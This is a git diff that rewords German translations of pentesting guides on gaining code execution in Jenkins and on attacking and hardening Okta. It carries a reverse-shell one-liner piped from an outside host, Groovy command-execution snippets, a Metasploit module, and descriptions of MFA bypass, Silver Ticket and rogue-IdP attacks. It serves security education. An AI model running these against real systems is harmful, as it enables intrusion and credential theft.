https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/ import jenkins.model.* diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md index 386dfb727..ba9977774 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md @@ -26,11 +26,11 @@ curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh } } ``` -Schließlich klicken Sie auf **Speichern** und **Jetzt bauen**, und die Pipeline wird ausgeführt: +Klicken Sie schließlich auf **Speichern** und **Jetzt bauen**, und die Pipeline wird ausgeführt: ![](<../../images/image (228).png>) -## Ändern einer Pipeline +## Eine Pipeline ändern Wenn Sie auf die Konfigurationsdatei einer konfigurierten Pipeline zugreifen können, könnten Sie sie einfach **ändern, indem Sie Ihre Reverse-Shell anhängen** und sie dann ausführen oder warten, bis sie ausgeführt wird. diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md index 7dbffe000..7f0465d27 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md @@ -1,30 +1,30 @@ -# Jenkins RCE Creating/Modifying Project +# Jenkins RCE Erstellen/Ändern eines Projekts {{#include ../../banners/hacktricks-training.md}} -## Creating a Project +## Erstellen eines Projekts Diese Methode ist sehr laut, da Sie ein ganz neues Projekt erstellen müssen (offensichtlich funktioniert dies nur, wenn der Benutzer berechtigt ist, ein neues Projekt zu erstellen). 1. **Erstellen Sie ein neues Projekt** (Freestyle-Projekt), indem Sie auf "Neues Element" klicken oder in `/view/all/newJob` -2. Im Abschnitt **Build** setzen Sie **Shell ausführen** und fügen Sie einen PowerShell Empire-Launcher oder eine Meterpreter-PowerShell ein (kann mit _unicorn_ erhalten werden). Starten Sie die Payload mit _PowerShell.exe_ anstelle von _powershell._ +2. Im Abschnitt **Build** setzen Sie **Shell ausführen** und fügen einen PowerShell Empire Launcher oder eine Meterpreter PowerShell ein (kann mit _unicorn_ erhalten werden). Starten Sie die Payload mit _PowerShell.exe_ anstelle von _powershell._ 3. Klicken Sie auf **Jetzt bauen** -1. Wenn die Schaltfläche **Jetzt bauen** nicht erscheint, können Sie trotzdem zu **konfigurieren** --> **Build-Trigger** --> `Build regelmäßig` gehen und einen Cron von `* * * * *` festlegen. -2. Anstelle von Cron können Sie die Konfiguration "**Bauten remote auslösen**" verwenden, bei der Sie nur den API-Token-Namen festlegen müssen, um den Job auszulösen. Gehen Sie dann zu Ihrem Benutzerprofil und **generieren Sie einen API-Token** (nennen Sie diesen API-Token so, wie Sie den API-Token genannt haben, um den Job auszulösen). Schließlich lösen Sie den Job mit aus: **`curl :@/job//build?token=`** +1. Wenn die Schaltfläche **Jetzt bauen** nicht erscheint, können Sie trotzdem zu **konfigurieren** --> **Build-Auslöser** --> `Build regelmäßig` gehen und einen Cron von `* * * * *` festlegen. +2. Anstelle von Cron können Sie die Konfiguration "**Bauten remote auslösen**" verwenden, bei der Sie nur den API-Token-Namen festlegen müssen, um den Job auszulösen. Gehen Sie dann zu Ihrem Benutzerprofil und **generieren Sie einen API-Token** (nennen Sie diesen API-Token so, wie Sie den API-Token genannt haben, um den Job auszulösen). Schließlich lösen Sie den Job mit folgendem Befehl aus: **`curl :@/job//build?token=`** ![](<../../images/image (165).png>) -## Modifying a Project +## Ändern eines Projekts -Gehen Sie zu den Projekten und überprüfen Sie **ob Sie eines von ihnen konfigurieren können** (suchen Sie nach der Schaltfläche "Konfigurieren"): +Gehen Sie zu den Projekten und überprüfen Sie **ob Sie eines von ihnen konfigurieren können** (suchen Sie nach der "Konfigurieren"-Schaltfläche): ![](<../../images/image (265).png>) -Wenn Sie **keine** **Konfigurations** **schaltfläche** sehen können, dann **können Sie es wahrscheinlich nicht** **konfigurieren** (aber überprüfen Sie alle Projekte, da Sie möglicherweise einige von ihnen und nicht andere konfigurieren können). +Wenn Sie **keine** **Konfigurations** **schaltfläche** sehen können, dann **können Sie es wahrscheinlich nicht konfigurieren** (aber überprüfen Sie alle Projekte, da Sie möglicherweise einige von ihnen und nicht andere konfigurieren können). Oder **versuchen Sie, auf den Pfad** `/job//configure` oder `/me/my-views/view/all/job//configure` \_\_ in jedem Projekt zuzugreifen (Beispiel: `/job/Project0/configure` oder `/me/my-views/view/all/job/Project0/configure`). -## Execution +## Ausführung Wenn Sie berechtigt sind, das Projekt zu konfigurieren, können Sie **es so einstellen, dass es Befehle ausführt, wenn ein Build erfolgreich ist**: diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md index 224514560..3ed1492c3 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md @@ -4,21 +4,21 @@ ## Jenkins RCE mit Groovy-Skript -Dies ist weniger auffällig als ein neues Projekt in Jenkins zu erstellen. +Dies ist weniger auffällig als die Erstellung eines neuen Projekts in Jenkins. 1. Gehe zu _path_jenkins/script_ -2. Füge im Textfeld das Skript ein +2. Füge das Skript in das Textfeld ein. ```python def process = "PowerShell.exe ".execute() println "Found text ${process.text}" ``` -Du könntest einen Befehl ausführen mit: `cmd.exe /c dir` +Sie können einen Befehl ausführen mit: `cmd.exe /c dir` -In **linux** kannst du: **`"ls /".execute().text`** +In **linux** können Sie: **`"ls /".execute().text`** -Wenn du _Anführungszeichen_ und _einzelne Anführungszeichen_ im Text verwenden musst, kannst du _"""PAYLOAD"""_ (dreifache doppelte Anführungszeichen) verwenden, um die Payload auszuführen. +Wenn Sie _Anführungszeichen_ und _einzelne Anführungszeichen_ im Text verwenden müssen, können Sie _"""PAYLOAD"""_ (dreifache doppelte Anführungszeichen) verwenden, um die Nutzlast auszuführen. -**Ein weiteres nützliches groovy-Skript** ist (ersetze \[INSERT COMMAND]): +**Ein weiteres nützliches groovy-Skript** ist (ersetzen Sie \[INSERT COMMAND]): ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = '[INSERT COMMAND]'.execute() @@ -46,7 +46,7 @@ cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc Sie können diesen Prozess mit [**diesem Skript**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py) automatisieren. -Sie können MSF verwenden, um eine umgekehrte Shell zu erhalten: +Sie können MSF verwenden, um eine Reverse-Shell zu erhalten: ``` msf> use exploit/multi/http/jenkins_script_console ``` diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md index b4060dfee..89a69106a 100644 --- a/src/pentesting-ci-cd/okta-security/README.md +++ b/src/pentesting-ci-cd/okta-security/README.md @@ -4,7 +4,7 @@ ## Grundinformationen -[Okta, Inc.](https://www.okta.com/) ist im Bereich Identitäts- und Zugriffsmanagement für seine cloudbasierten Softwarelösungen anerkannt. Diese Lösungen sind darauf ausgelegt, die Benutzerauthentifizierung über verschiedene moderne Anwendungen zu optimieren und zu sichern. Sie richten sich nicht nur an Unternehmen, die ihre sensiblen Daten schützen möchten, sondern auch an Entwickler, die daran interessiert sind, Identitätskontrollen in Anwendungen, Webdiensten und Geräten zu integrieren. +[Okta, Inc.](https://www.okta.com/) ist im Bereich Identitäts- und Zugriffsmanagement für seine cloudbasierten Softwarelösungen bekannt. Diese Lösungen sind darauf ausgelegt, die Benutzerauthentifizierung über verschiedene moderne Anwendungen zu optimieren und zu sichern. Sie richten sich nicht nur an Unternehmen, die ihre sensiblen Daten schützen möchten, sondern auch an Entwickler, die Identitätskontrollen in Anwendungen, Webdienste und Geräte integrieren möchten. Das Flaggschiff-Angebot von Okta ist die **Okta Identity Cloud**. Diese Plattform umfasst eine Suite von Produkten, darunter, aber nicht beschränkt auf: @@ -24,11 +24,11 @@ Diese Dienste zielen darauf ab, den Datenschutz zu stärken und den Benutzerzuga ### Zusammenfassung -Es gibt **Benutzer** (die in **Okta gespeichert,** von konfigurierten **Identitätsanbietern** angemeldet oder über **Active Directory** oder LDAP authentifiziert werden können).\ +Es gibt **Benutzer** (die in **Okta gespeichert**, von konfigurierten **Identitätsanbietern** angemeldet oder über **Active Directory** oder LDAP authentifiziert werden können).\ Diese Benutzer können in **Gruppen** sein.\ Es gibt auch **Authentifizierer**: verschiedene Optionen zur Authentifizierung wie Passwort und mehrere 2FA wie WebAuthn, E-Mail, Telefon, Okta Verify (sie könnten aktiviert oder deaktiviert sein)... -Dann gibt es **Anwendungen**, die mit Okta synchronisiert sind. Jede Anwendung hat eine **Zuordnung zu Okta**, um Informationen (wie E-Mail-Adressen, Vornamen...) auszutauschen. Darüber hinaus muss jede Anwendung in einer **Authentifizierungsrichtlinie** enthalten sein, die die **benötigten Authentifizierer** angibt, damit ein Benutzer auf die Anwendung **zugreifen** kann. +Dann gibt es **Anwendungen**, die mit Okta synchronisiert sind. Jede Anwendung hat eine **Zuordnung zu Okta**, um Informationen (wie E-Mail-Adressen, Vornamen usw.) auszutauschen. Darüber hinaus muss jede Anwendung in einer **Authentifizierungsrichtlinie** enthalten sein, die die **benötigten Authentifizierer** angibt, damit ein Benutzer auf die Anwendung **zugreifen** kann. > [!CAUTION] > Die mächtigste Rolle ist **Super Administrator**. @@ -43,21 +43,21 @@ In der Regel befindet sich das Portal eines Unternehmens unter **companyname.okt ### Anmeldung in Okta über Kerberos -Wenn **`companyname.kerberos.okta.com`** aktiv ist, wird **Kerberos für den Okta-Zugriff verwendet**, was typischerweise die **MFA** für **Windows**-Benutzer umgeht. Um Kerberos-authentifizierte Okta-Benutzer in AD zu finden, führen Sie **`getST.py`** mit **entsprechenden Parametern** aus. Nach Erhalt eines **AD-Benutzertickets** **injizieren** Sie es in einen kontrollierten Host mit Tools wie Rubeus oder Mimikatz und stellen sicher, dass **`clientname.kerberos.okta.com` in der Internetoptionen "Intranet"-Zone** ist. Der Zugriff auf eine bestimmte URL sollte eine JSON "OK"-Antwort zurückgeben, die die Akzeptanz des Kerberos-Tickets anzeigt und den Zugriff auf das Okta-Dashboard gewährt. +Wenn **`companyname.kerberos.okta.com`** aktiv ist, wird **Kerberos für den Okta-Zugriff verwendet**, was typischerweise die **MFA** für **Windows**-Benutzer umgeht. Um Kerberos-authentifizierte Okta-Benutzer in AD zu finden, führen Sie **`getST.py`** mit **den entsprechenden Parametern** aus. Nach Erhalt eines **AD-Benutzertickets** **injizieren** Sie es in einen kontrollierten Host mit Tools wie Rubeus oder Mimikatz und stellen sicher, dass **`clientname.kerberos.okta.com` in der Internetoptionen "Intranet"-Zone** ist. Der Zugriff auf eine bestimmte URL sollte eine JSON "OK"-Antwort zurückgeben, die die Akzeptanz des Kerberos-Tickets anzeigt und den Zugriff auf das Okta-Dashboard gewährt. -Die Kompromittierung des **Okta-Dienstkontos mit dem Delegations-SPN ermöglicht einen Silver Ticket-Angriff.** Allerdings erfordert Okta die Verwendung von **AES** zur Ticketverschlüsselung, was den Besitz des AES-Schlüssels oder des Klartextpassworts erfordert. Verwenden Sie **`ticketer.py`, um ein Ticket für den betroffenen Benutzer zu generieren** und es über den Browser zu übermitteln, um sich bei Okta zu authentifizieren. +Die Kompromittierung des **Okta-Dienstkontos mit dem Delegations-SPN ermöglicht einen Silver Ticket-Angriff.** Allerdings erfordert Okta's Verwendung von **AES** zur Ticketverschlüsselung den Besitz des AES-Schlüssels oder des Klartextpassworts. Verwenden Sie **`ticketer.py`, um ein Ticket für den betroffenen Benutzer zu generieren** und es über den Browser zu übermitteln, um sich bei Okta zu authentifizieren. **Überprüfen Sie den Angriff in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -### Hijacking des Okta AD-Agenten +### Hijacking Okta AD-Agent -Diese Technik umfasst **den Zugriff auf den Okta AD-Agenten auf einem Server**, der **Benutzer synchronisiert und die Authentifizierung verwaltet**. Durch die Untersuchung und Entschlüsselung von Konfigurationen in **`OktaAgentService.exe.config`**, insbesondere des AgentTokens mit **DPAPI**, kann ein Angreifer potenziell **Authentifizierungsdaten abfangen und manipulieren**. Dies ermöglicht nicht nur **Überwachung** und **Erfassung von Benutzeranmeldeinformationen** im Klartext während des Okta-Authentifizierungsprozesses, sondern auch **Reaktionen auf Authentifizierungsversuche**, wodurch unbefugter Zugriff ermöglicht oder eine universelle Authentifizierung über Okta bereitgestellt wird (ähnlich einem 'Skeleton Key'). +Diese Technik beinhaltet **den Zugriff auf den Okta AD-Agent auf einem Server**, der **Benutzer synchronisiert und die Authentifizierung verwaltet**. Durch die Untersuchung und Entschlüsselung von Konfigurationen in **`OktaAgentService.exe.config`**, insbesondere des AgentTokens mit **DPAPI**, kann ein Angreifer potenziell **Authentifizierungsdaten abfangen und manipulieren**. Dies ermöglicht nicht nur **Überwachung** und **Erfassung von Benutzeranmeldeinformationen** im Klartext während des Okta-Authentifizierungsprozesses, sondern auch **Reaktionen auf Authentifizierungsversuche**, wodurch unbefugter Zugriff ermöglicht oder eine universelle Authentifizierung über Okta bereitgestellt wird (ähnlich einem 'Skeleton Key'). **Überprüfen Sie den Angriff in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -### Hijacking von AD als Administrator +### Hijacking AD als Administrator -Diese Technik umfasst das Hijacking eines Okta AD-Agenten, indem zuerst ein OAuth-Code erlangt und dann ein API-Token angefordert wird. Das Token ist mit einer AD-Domäne verknüpft, und ein **Connector wird benannt, um einen gefälschten AD-Agenten zu erstellen**. Die Initialisierung ermöglicht es dem Agenten, **Authentifizierungsversuche zu verarbeiten**, wobei Anmeldeinformationen über die Okta-API erfasst werden. Automatisierungstools sind verfügbar, um diesen Prozess zu optimieren und eine nahtlose Methode zum Abfangen und Verarbeiten von Authentifizierungsdaten innerhalb der Okta-Umgebung anzubieten. +Diese Technik beinhaltet das Hijacking eines Okta AD-Agenten, indem zuerst ein OAuth-Code erlangt und dann ein API-Token angefordert wird. Das Token ist mit einer AD-Domäne verknüpft, und ein **Connector wird benannt, um einen gefälschten AD-Agenten zu erstellen**. Die Initialisierung ermöglicht es dem Agenten, **Authentifizierungsversuche zu verarbeiten**, wobei Anmeldeinformationen über die Okta-API erfasst werden. Automatisierungstools sind verfügbar, um diesen Prozess zu optimieren und eine nahtlose Methode zum Abfangen und Verarbeiten von Authentifizierungsdaten innerhalb der Okta-Umgebung anzubieten. **Überprüfen Sie den Angriff in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** @@ -65,7 +65,7 @@ Diese Technik umfasst das Hijacking eines Okta AD-Agenten, indem zuerst ein OAut **Überprüfen Sie den Angriff in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -Die Technik umfasst **die Bereitstellung eines gefälschten SAML-Anbieters**. Durch die Integration eines externen Identitätsanbieters (IdP) innerhalb des Okta-Rahmens mit einem privilegierten Konto können Angreifer **den IdP kontrollieren und jede Authentifizierungsanfrage nach Belieben genehmigen**. Der Prozess umfasst die Einrichtung eines SAML 2.0 IdP in Okta, die Manipulation der IdP Single Sign-On-URL zur Umleitung über die lokale Hosts-Datei, die Erstellung eines selbstsignierten Zertifikats und die Konfiguration der Okta-Einstellungen, um mit dem Benutzernamen oder der E-Mail übereinzustimmen. Das erfolgreiche Ausführen dieser Schritte ermöglicht die Authentifizierung als jeder Okta-Benutzer, wodurch die Notwendigkeit individueller Benutzeranmeldeinformationen umgangen wird, was die Zugriffskontrolle erheblich erhöht und möglicherweise unbemerkt bleibt. +Die Technik beinhaltet **die Bereitstellung eines gefälschten SAML-Anbieters**. Durch die Integration eines externen Identitätsanbieters (IdP) innerhalb des Okta-Rahmens mit einem privilegierten Konto können Angreifer **den IdP kontrollieren und jede Authentifizierungsanfrage nach Belieben genehmigen**. Der Prozess umfasst die Einrichtung eines SAML 2.0 IdP in Okta, die Manipulation der IdP Single Sign-On-URL zur Umleitung über die lokale Hosts-Datei, die Erstellung eines selbstsignierten Zertifikats und die Konfiguration der Okta-Einstellungen, um mit dem Benutzernamen oder der E-Mail übereinzustimmen. Das erfolgreiche Ausführen dieser Schritte ermöglicht die Authentifizierung als jeder Okta-Benutzer, wodurch die Notwendigkeit individueller Benutzeranmeldeinformationen umgangen wird, was die Zugriffskontrolle erheblich erhöht und möglicherweise unbemerkt bleibt. ### Phishing des Okta-Portals mit Evilgnix @@ -75,7 +75,7 @@ In [**diesem Blogbeitrag**](https://medium.com/nickvangilder/okta-for-red-teamer Die **Attribute, die jeder Benutzer haben und ändern kann** (wie E-Mail oder Vorname) können in Okta konfiguriert werden. Wenn eine **Anwendung** ein **Attribut**, das der Benutzer **ändern kann**, als ID **vertraut**, wird er in der Lage sein, **andere Benutzer auf dieser Plattform zu impersonieren**. -Wenn die App also das Feld **`userName`** vertraut, können Sie es wahrscheinlich nicht ändern (da Sie dieses Feld normalerweise nicht ändern können), aber wenn sie beispielsweise **`primaryEmail`** vertraut, könnten Sie es möglicherweise **in die E-Mail-Adresse eines Kollegen ändern** und sich als dieser ausgeben (Sie müssen Zugriff auf die E-Mail haben und die Änderung akzeptieren). +Daher, wenn die App das Feld **`userName`** vertraut, werden Sie es wahrscheinlich nicht ändern können (da Sie dieses Feld normalerweise nicht ändern können), aber wenn es beispielsweise **`primaryEmail`** vertraut, könnten Sie in der Lage sein, **es in die E-Mail-Adresse eines Kollegen zu ändern** und ihn zu impersonieren (Sie müssen Zugriff auf die E-Mail haben und die Änderung akzeptieren). Beachten Sie, dass diese Impersonation davon abhängt, wie jede Anwendung konfiguriert wurde. Nur die, die dem von Ihnen geänderten Feld vertrauen und Aktualisierungen akzeptieren, werden kompromittiert.\ Daher sollte die App dieses Feld aktiviert haben, wenn es existiert: @@ -84,7 +84,7 @@ Daher sollte die App dieses Feld aktiviert haben, wenn es existiert: Ich habe auch andere Apps gesehen, die anfällig waren, aber dieses Feld nicht in den Okta-Einstellungen hatten (am Ende sind verschiedene Apps unterschiedlich konfiguriert). -Der beste Weg herauszufinden, ob Sie sich in jeder App als jemand ausgeben könnten, wäre, es auszuprobieren! +Der beste Weg herauszufinden, ob Sie jemanden in jeder App impersonieren könnten, wäre, es auszuprobieren! ## Umgehung von Verhaltensüberwachungsrichtlinien @@ -100,7 +100,7 @@ Wichtige Empfehlungen umfassen: ## Okta-Härtung -Okta hat viele mögliche Konfigurationen. Auf dieser Seite finden Sie, wie Sie diese überprüfen können, damit sie so sicher wie möglich sind: +Okta hat viele mögliche Konfigurationen. Auf dieser Seite finden Sie, wie Sie diese überprüfen, damit sie so sicher wie möglich sind: {{#ref}} okta-hardening.md diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md index 9d7abe36a..0c46c0a2f 100644 --- a/src/pentesting-ci-cd/okta-security/okta-hardening.md +++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md @@ -1,196 +1,196 @@ -# Okta Hardening +# Okta-Härtung {{#include ../../banners/hacktricks-training.md}} -## Directory +## Verzeichnis -### People +### Personen -Aus der Perspektive eines Angreifers ist dies super interessant, da Sie **alle registrierten Benutzer**, deren **E-Mail**-Adressen, die **Gruppen**, zu denen sie gehören, **Profile** und sogar **Geräte** (Mobilgeräte zusammen mit ihren Betriebssystemen) sehen können. +Aus der Perspektive eines Angreifers ist dies sehr interessant, da Sie **alle registrierten Benutzer**, deren **E-Mail**-Adressen, die **Gruppen**, zu denen sie gehören, **Profile** und sogar **Geräte** (Mobilgeräte zusammen mit ihren Betriebssystemen) sehen können. Für eine Whitebox-Überprüfung überprüfen Sie, ob es mehrere "**Ausstehende Benutzeraktionen**" und "**Passwort zurücksetzen**" gibt. -### Groups +### Gruppen -Hier finden Sie alle in Okta erstellten Gruppen. Es ist interessant zu verstehen, welche verschiedenen Gruppen (Satz von **Berechtigungen**) den **Benutzern** gewährt werden könnten.\ +Hier finden Sie alle in Okta erstellten Gruppen. Es ist interessant zu verstehen, welche verschiedenen Gruppen (Satz von **Berechtigungen**) den **Benutzern** gewährt werden können.\ Es ist möglich, die **Personen innerhalb der Gruppen** und die **Apps**, die jeder Gruppe zugewiesen sind, zu sehen. Natürlich ist jede Gruppe mit dem Namen **admin** interessant, insbesondere die Gruppe **Global Administrators**. Überprüfen Sie die Mitglieder, um herauszufinden, wer die privilegiertesten Mitglieder sind. -Bei einer Whitebox-Überprüfung **sollten nicht mehr als 5 globale Administratoren** vorhanden sein (besser, wenn es nur 2 oder 3 sind). +Bei einer Whitebox-Überprüfung **sollten nicht mehr als 5 globale Administratoren** vorhanden sein (am besten sind nur 2 oder 3). -### Devices +### Geräte Hier finden Sie eine **Liste aller Geräte** aller Benutzer. Sie können auch sehen, ob es **aktiv verwaltet** wird oder nicht. -### Profile Editor +### Profileditor Hier ist es möglich zu beobachten, wie wichtige Informationen wie Vornamen, Nachnamen, E-Mails, Benutzernamen... zwischen Okta und anderen Anwendungen geteilt werden. Dies ist interessant, da ein Benutzer, wenn er ein Feld in Okta **ändern kann** (wie seinen Namen oder seine E-Mail), das dann von einer **externen Anwendung** zur **Identifizierung** des Benutzers verwendet wird, versuchen könnte, **andere Konten zu übernehmen**. -Darüber hinaus können Sie im Profil **`User (default)`** von Okta sehen, **welche Felder** jeder **Benutzer** hat und welche von Benutzern **beschreibbar** sind. Wenn Sie das Admin-Panel nicht sehen können, gehen Sie einfach zu **aktualisieren Sie Ihre Profil**-Informationen, und Sie werden sehen, welche Felder Sie aktualisieren können (beachten Sie, dass Sie eine E-Mail-Adresse verifizieren müssen, um sie zu aktualisieren). +Darüber hinaus können Sie im Profil **`User (default)`** von Okta sehen, **welche Felder** jeder **Benutzer** hat und welche von Benutzern **beschreibbar** sind. Wenn Sie das Admin-Panel nicht sehen können, gehen Sie einfach zu **aktualisieren Sie Ihre Profil**-Informationen, und Sie werden sehen, welche Felder Sie aktualisieren können (beachten Sie, dass Sie zur Aktualisierung einer E-Mail-Adresse diese verifizieren müssen). -### Directory Integrations +### Verzeichnisintegrationen Verzeichnisse ermöglichen es Ihnen, Personen aus bestehenden Quellen zu importieren. Ich nehme an, hier sehen Sie die Benutzer, die aus anderen Verzeichnissen importiert wurden. -Ich habe es nicht gesehen, aber ich nehme an, dass es interessant ist, **andere Verzeichnisse zu finden, die Okta verwendet, um Benutzer zu importieren**, sodass Sie, wenn Sie **dieses Verzeichnis kompromittieren**, einige Attributwerte in den in Okta erstellten Benutzern festlegen und **vielleicht die Okta-Umgebung kompromittieren** könnten. +Ich habe es nicht gesehen, aber ich nehme an, es ist interessant herauszufinden, **welche anderen Verzeichnisse Okta verwendet, um Benutzer zu importieren**, sodass Sie, wenn Sie **dieses Verzeichnis kompromittieren**, einige Attributwerte in den in Okta erstellten Benutzern festlegen und **vielleicht die Okta-Umgebung kompromittieren** könnten. -### Profile Sources +### Profildatenquellen -Eine Profilquelle ist eine **Anwendung, die als Quelle der Wahrheit** für Benutzerprofilattribute fungiert. Ein Benutzer kann nur von einer einzigen Anwendung oder einem Verzeichnis gleichzeitig bezogen werden. +Eine Profildatenquelle ist eine **Anwendung, die als Quelle der Wahrheit** für Benutzerprofilattribute fungiert. Ein Benutzer kann nur von einer einzigen Anwendung oder einem Verzeichnis gleichzeitig bezogen werden. -Ich habe es nicht gesehen, daher sind alle Informationen über Sicherheit und Hacking in Bezug auf diese Option willkommen. +Ich habe es nicht gesehen, daher sind alle Informationen zur Sicherheit und zum Hacking bezüglich dieser Option willkommen. -## Customizations +## Anpassungen -### Brands +### Marken Überprüfen Sie im Tab **Domains** dieses Abschnitts die E-Mail-Adressen, die zum Versenden von E-Mails verwendet werden, und die benutzerdefinierte Domain innerhalb von Okta des Unternehmens (die Sie wahrscheinlich bereits kennen). -Darüber hinaus können Sie im Tab **Setting**, wenn Sie Administrator sind, "**Eine benutzerdefinierte Abmeldeseite verwenden**" und eine benutzerdefinierte URL festlegen. +Darüber hinaus können Sie im Tab **Einstellungen**, wenn Sie Administrator sind, "**Eine benutzerdefinierte Abmeldeseite verwenden**" und eine benutzerdefinierte URL festlegen. ### SMS Hier gibt es nichts Interessantes. -### End-User Dashboard +### Endbenutzer-Dashboard Hier finden Sie konfigurierte Anwendungen, aber wir werden die Details später in einem anderen Abschnitt sehen. -### Other +### Sonstiges Interessante Einstellung, aber nichts super Interessantes aus Sicht der Sicherheit. -## Applications +## Anwendungen -### Applications +### Anwendungen Hier finden Sie alle **konfigurierten Anwendungen** und deren Details: Wer Zugriff auf sie hat, wie sie konfiguriert sind (SAML, OpenID), URL zum Anmelden, die Zuordnungen zwischen Okta und der Anwendung... -Im Tab **`Sign On`** gibt es auch ein Feld namens **`Password reveal`**, das es einem Benutzer ermöglichen würde, sein **Passwort** beim Überprüfen der Anwendungseinstellungen **offen zu legen**. Um die Einstellungen einer Anwendung vom Benutzerpanel aus zu überprüfen, klicken Sie auf die 3 Punkte: +Im Tab **`Sign On`** gibt es auch ein Feld namens **`Password reveal`**, das es einem Benutzer ermöglichen würde, sein **Passwort offenzulegen**, wenn er die Anwendungseinstellungen überprüft. Um die Einstellungen einer Anwendung vom Benutzerpanel aus zu überprüfen, klicken Sie auf die 3 Punkte:
-Und Sie könnten einige weitere Details zur App sehen (wie die Passwort-Offenlegungsfunktion, ob sie aktiviert ist): +Und Sie könnten einige weitere Details zur App sehen (wie die Passwortoffenlegungsfunktion, wenn sie aktiviert ist):
-## Identity Governance +## Identitätsgovernance -### Access Certifications +### Zugriffszertifizierungen -Verwenden Sie Access Certifications, um Auditkampagnen zu erstellen, um den Zugriff Ihrer Benutzer auf Ressourcen regelmäßig zu überprüfen und den Zugriff automatisch zu genehmigen oder zu widerrufen, wenn dies erforderlich ist. +Verwenden Sie Zugriffszertifizierungen, um Auditkampagnen zu erstellen, um den Zugriff Ihrer Benutzer auf Ressourcen regelmäßig zu überprüfen und den Zugriff automatisch zu genehmigen oder zu widerrufen, wenn dies erforderlich ist. Ich habe es nicht gesehen, aber ich nehme an, dass es aus defensiver Sicht eine nette Funktion ist. -## Security +## Sicherheit -### General +### Allgemein - **Sicherheitsbenachrichtigungs-E-Mails**: Alle sollten aktiviert sein. - **CAPTCHA-Integration**: Es wird empfohlen, mindestens das unsichtbare reCaptcha einzustellen. -- **Organisationssicherheit**: Alles kann aktiviert werden, und Aktivierungs-E-Mails sollten nicht lange dauern (7 Tage sind in Ordnung). +- **Sicherheitsorganisation**: Alles kann aktiviert werden, und Aktivierungs-E-Mails sollten nicht lange dauern (7 Tage sind in Ordnung). - **Benutzernummernverhinderung**: Beide sollten aktiviert sein. - Beachten Sie, dass die Benutzernummernverhinderung nicht wirksam wird, wenn eine der folgenden Bedingungen erlaubt ist (siehe [Benutzerverwaltung](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) für weitere Informationen): - Selbstregistrierung -- JIT-Flüsse mit E-Mail-Authentifizierung +- JIT-Workflows mit E-Mail-Authentifizierung - **Okta ThreatInsight-Einstellungen**: Protokollieren und Durchsetzen von Sicherheit basierend auf dem Bedrohungsniveau. ### HealthInsight Hier ist es möglich, korrekt und **gefährlich** konfigurierte **Einstellungen** zu finden. -### Authenticators +### Authentifizierer -Hier finden Sie alle Authentifizierungsmethoden, die ein Benutzer verwenden könnte: Passwort, Telefon, E-Mail, Code, WebAuthn... Wenn Sie auf den Passwort-Authenticator klicken, können Sie die **Passwortrichtlinie** sehen. Überprüfen Sie, ob sie stark ist. +Hier finden Sie alle Authentifizierungsmethoden, die ein Benutzer verwenden könnte: Passwort, Telefon, E-Mail, Code, WebAuthn... Wenn Sie auf den Passwort-Authentifizierer klicken, können Sie die **Passwortrichtlinie** sehen. Überprüfen Sie, ob sie stark ist. -Im Tab **Enrollment** können Sie sehen, welche erforderlich oder optional sind: +Im Tab **Enrollment** können Sie sehen, wie die erforderlichen oder optionalen aussehen:
Es wird empfohlen, das Telefon zu deaktivieren. Die stärksten sind wahrscheinlich eine Kombination aus Passwort, E-Mail und WebAuthn. -### Authentication policies +### Authentifizierungsrichtlinien Jede App hat eine Authentifizierungsrichtlinie. Die Authentifizierungsrichtlinie überprüft, ob Benutzer, die versuchen, sich bei der App anzumelden, bestimmte Bedingungen erfüllen, und sie erzwingt Faktoranforderungen basierend auf diesen Bedingungen. Hier finden Sie die **Anforderungen für den Zugriff auf jede Anwendung**. Es wird empfohlen, mindestens ein Passwort und eine andere Methode für jede Anwendung anzufordern. Aber wenn Sie als Angreifer etwas Schwächeres finden, könnten Sie es angreifen. -### Global Session Policy +### Globale Sitzungsrichtlinie -Hier finden Sie die Sitzungspolitiken, die verschiedenen Gruppen zugewiesen sind. Zum Beispiel: +Hier finden Sie die Sitzungsrichtlinien, die verschiedenen Gruppen zugewiesen sind. Zum Beispiel:
